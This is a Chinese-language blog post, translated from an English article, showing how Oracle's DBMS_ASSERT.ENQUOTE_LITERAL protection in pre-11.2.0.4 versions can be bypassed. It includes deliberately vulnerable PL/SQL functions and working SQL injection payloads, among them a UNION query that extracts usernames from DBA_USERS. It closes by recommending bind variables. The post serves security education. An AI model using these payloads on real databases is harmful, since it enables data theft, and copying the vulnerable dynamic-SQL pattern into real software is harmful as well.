绕过Oracle SQLi保护

DBMS_ASSERT是Oracle数据库中的内置包,通常用于保护动态的SQL语句不受SQL注入的影响。但是,在较旧的Oracle数据库(11.2.0.4之前版本)中,提供的方法之一(DBMS_ASSERT.ENQUOTE_LITERAL)包含一个错误,在适当的情况下,可以通过SQL注入攻击绕过保护并窃取数据。

成功利用此漏洞并不困难,但普通的安全扫描程序无法检测到该问题,或者如果这样做,他们将无法找到可行的漏洞利用路径。本文的其余部分将讨论受影响的Oracle版本,将易受攻击的dbms_assert.enquote_literal作为用例,演示利用漏洞的概念证明。

受影响的Oracle版本

运行11g R2到11.2.0.3的Oracle数据库会受到影响。本文中的示例都使用在OEL虚拟机上运行的Oracle XE数据库。

如何使用dbms_assert.enquote_literal 引起问题的方法是在字符串周围放置一个单引号(’),“en-quoting”用于构建动态SQL语句。


这对开发人员非常有用,因为它有助于避免“escaping hell”,而不是手动构建动态sql将转义引号添加到字符串

1
stmt := 'select * from users where user = ''' || usr_var || '''';

您可以使用dbms_assert.enquote_literal为您处理引号,并避免复杂的转义引号:

1
stmt := 'select * from users where user = ' || dbms_assert.enqoute_literal(usr_var);

将开发人员从“escaping hell”中拯救出来并不是该方法的主要目的。使用该函数的主要原因是防止sql注入。在正常的SQLi场景中,传入单引号以允许攻击者突破动态sql,并嵌入恶意代码块。如果存在不平衡的引号(引号个数不成对),dbms_assert.enquote_literal方法将出现错误:

SQLi和DBMS_ASSERT.ENQOUTE_LITERAL作为保护: 那么这是如何防止SQL注入的呢?让我们检查一个易受SQL注入攻击的简单Oracle pl/sql函数,从该表开始,填充给定值:

1
2
3
4
5
6
7
8
9
10
11
create table example_table(id number primary key, value varchar2(100));

insert into example_table values (1,'Dog');

insert into example_table values (2,'Cat');

insert into example_table values (3,'Catfish');

insert into example_table values (4,'Dogwood');

insert into example_table values (5,'Wood');

现在我们将构建一个查询表的函数,并且容易受到SQL注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
create or replace function basic_sqli(input in varchar2) return xmltype
as

stmt varchar2(100) := 'select id, value from example_table where upper(value) like upper(''%' || input || '%'')';
cur sys_refcursor;
xml xmltype;

begin

open cur for stmt;
xml := xmltype.createxml(cur);
return xml;

end;
/


1
select basic_sqli('o') from dual;

但是,通过以下标准概念证明注入输入,该功能对于注入也是微不足道的:

1
2
select basic_sqli('o'' ) or 1=1--') from dual;
select basic_sqli('o'' ) and 1=0--') from dual;

DBMS_ASSERT防止SQL注入

现在让我们探讨如何使用dbms_assert.enquote_lite来防止SQL注入攻击。我们将稍微修改前一个函数,以便在执行之前通过调用dbms_assert.enquote_literal来传递用户输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
create or replace function protected_sqli(input in varchar2) return xmltype
as

stmt varchar2(100);
clean varchar2(100);
cur sys_refcursor;
xml xmltype;

begin

clean := dbms_assert.enquote_literal('%'||input||'%');
stmt := 'select id, value from example_table where upper(value) like upper('|| clean || ')';
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;

end;
/

我们可以看到查询的“快乐路径”行为保持不变:

1
select protected_sqli('o') from dual;

但是,之前使用的相同SQL注入攻击现在会导致错误:

1
select protected_sqli('o'' ) or 1=1--') from dual;

dbms_assert.enquote_literal的问题

到目前看来,这个方法给SQL注入提供了相当有力的保护,但是,早期版本的oracle中的方法仍旧存在一个关键的问题。如果您通过传递单引号的方法(在SQLplus中将其转义为’’’’),该函数将会返回单引号:
添加图片

这个单引号给我们提供了成功注入一个程序所需的转义向量。这种注入方法不适用于前面的示例,因为它需要跨越多个输入字段的注入。但我们可以考虑下面函数的调用,它允许对我们的原始表有多个搜索字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
create or replace function bypassable_protected_sqli(in1 in varchar2, in2 varchar2) return xmltype
as

stmt varchar2(1000);
clean1 varchar2(100);
clean2 varchar2(100);
cur sys_refcursor;
xml xmltype;

begin

clean1 := dbms_assert.enquote_literal(in1);
clean2 := dbms_assert.enquote_literal(in2);
stmt := 'select id, value from example_table where upper(value) = upper('|| clean1 || ') or upper(value) = upper(' || clean2 || ')';
dbms_output.put_line(stmt);
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;

end;
/

注意:为了更容易地查看输入的解析方式,我已经向这个函数添加了dbms_output。
添加图片

名义上该函数将允许用户根据两个不同的输入来查询表:

1
select bypassable_protected_sqli('cat','wood') from dual;

添加图片
并且这个函数执行预期的查询:

1
2
select id, value from example_table 
where upper(value) = upper('cat') or upper(value) = upper('wood')

一个传统的SQLi攻击已经不起作用了,因为这个函数受到了dbms_assert的保护:

1
select bypassable_protected_sqli('cat'' or 1=1--','wood') from dual;

添加图片

但是,如果我们传递单引号(在SQLplus中转义为’’’’),我们会看到我们可以跳过查询并在动态sql语句中生成语法错误:

1
select bypassable_protected_sqli('''','wood') from dual;

添加图片

如果查看查询的结果,您就会看到我们在第一个条件中插入了单引号:

1
2
select id, value from example_table 
where upper(value) = upper(') or upper(value) = upper('wood')

现在我们用第一个参数作为我们的转义向量,用第二个输入参数作为注入有效负载:

1
select bypassable_protected_sqli('''',') or 1=1--') from dual;

添加图片

你可以看到,我们的第二个参数输入作为文字的SQL命令,与最后的评论(-)强迫解析器忽略尾随的引号。

1
2
select id, value from example_table 
where upper(value) = upper(') or upper(value) = upper(') or 1-1--')

第一个参数成为我们的转义符,我们可以将任何注入查询添加到第二个参数,只要它不包含引号(这会导致dbms_assert错误)。以下是查询DBA_USERS表的示例:

1
select bypassable_protected_sqli('''',') union select rownum, username from dba_users where rownum < 5--') from dual;

添加图片

1
2
3
4
select id, value 
from example_table
where upper(value) = upper(') or upper(value) = upper(')
union select rownum, username from dba_users where rownum < 5--')

结论

最后,dbms_assert是最小化动态查询中SQL注入风险的众多方法之一。但是,真正消除SQL注入风险的唯一方法是使用静态游标,或在构建动态SQL语句时使用绑定变量。
在之后的文章中,我将介绍sqlmap如何知道dbms_assert.enquote_literal建立查询的注入尝试的结果,并查看Oracle中用于防止SQL注入的一些其他的方法。


本文翻译自:http://obtruse.syfrtext.com/2018/04/bypassing-oracle-sqli-protections.html


文章作者: Ginove
文章链接: https://ginove.github.io/2018/08/09/绕过Oracle-SQLi保护/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ginove